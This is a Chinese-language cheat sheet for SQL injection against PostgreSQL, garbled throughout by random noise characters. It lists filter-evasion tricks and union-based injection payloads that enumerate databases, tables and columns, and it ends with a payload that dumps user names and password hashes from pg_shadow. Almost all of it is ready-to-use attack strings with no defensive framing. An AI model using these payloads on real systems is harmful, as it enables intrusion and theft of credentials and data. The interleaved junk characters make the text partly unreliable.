结合了MSSQL MySQL Oracle的一些特点' r6 f/ ?; ]/ S8 r+ \
支持多语句执行,语句可以没有from postgres用户是超级用户(创始人账户) 只有superuser有copy权限 注释: — , /**/7 J k6 I; o. M4 d
连接符: %20 , + , /**/ 内置函数:" t# E8 e# ?4 G4 f, R I0 y, W6 Q
current_database() //当前数据库名
- @& n% G* c6 ?session_user //会话用户
" _8 h& `; i ucurrent_user //当前数据库用户# v2 a" n/ _6 S; f8 Z4 {
user //当前用户+ c+ k6 n6 G1 a7 A( i3 Q
version() //数据库版本 Union注射:
3 }5 A T0 `2 morder by n–
/ Z- I7 K1 ^8 Y' H6 Gand 1=2 union select null,null,null–3 B, f0 B s x# L, m
and 1=2 union select ‘beach’,null,null–/ Y& l( ~$ ?) g6 R% Z/ J
and 1=2 union select (select version()),null,null– 获取表名,字段名(新版本利用information_schema):
8 E( i" s" n) [group_concat(table_name)
% _. I$ {) D J; n, a- wand 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–! b& y, @4 n# d* x. \5 q+ ?# f
and 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–" X. b, _: K( i2 s' |+ n) j' Z
(老版本)% T. f+ \% T3 N, M8 g
pg_class.oid对应pg_attribute.attrelid# W; P( Z0 a! D
pg_class.relname表名4 L8 h+ K: r- M( ~: g; `( x
pg_attribute.attname字段名 select relname from pg_class获取表名6 l% A% G9 ^/ _" Y/ K
select oid from pg_class where 条件 获取参数
( T& T3 g* E2 H8 v' t$ M) C gselect attname from pg_attribute where attrelid=’oid的值’ 获取字段名 实战:
: }0 J% w- ~6 _and 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表. b8 n$ [. v& [ z0 ]
and 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–; }- x7 L/ d& J5 {0 u( `8 D
由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136 and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名* m# D9 E. Q ^3 Z! P& O
======================================================================
+ u6 O. z/ k) u! w" N' aand 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库
# k; k3 ^0 Q, j- @- B7 zand 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码 |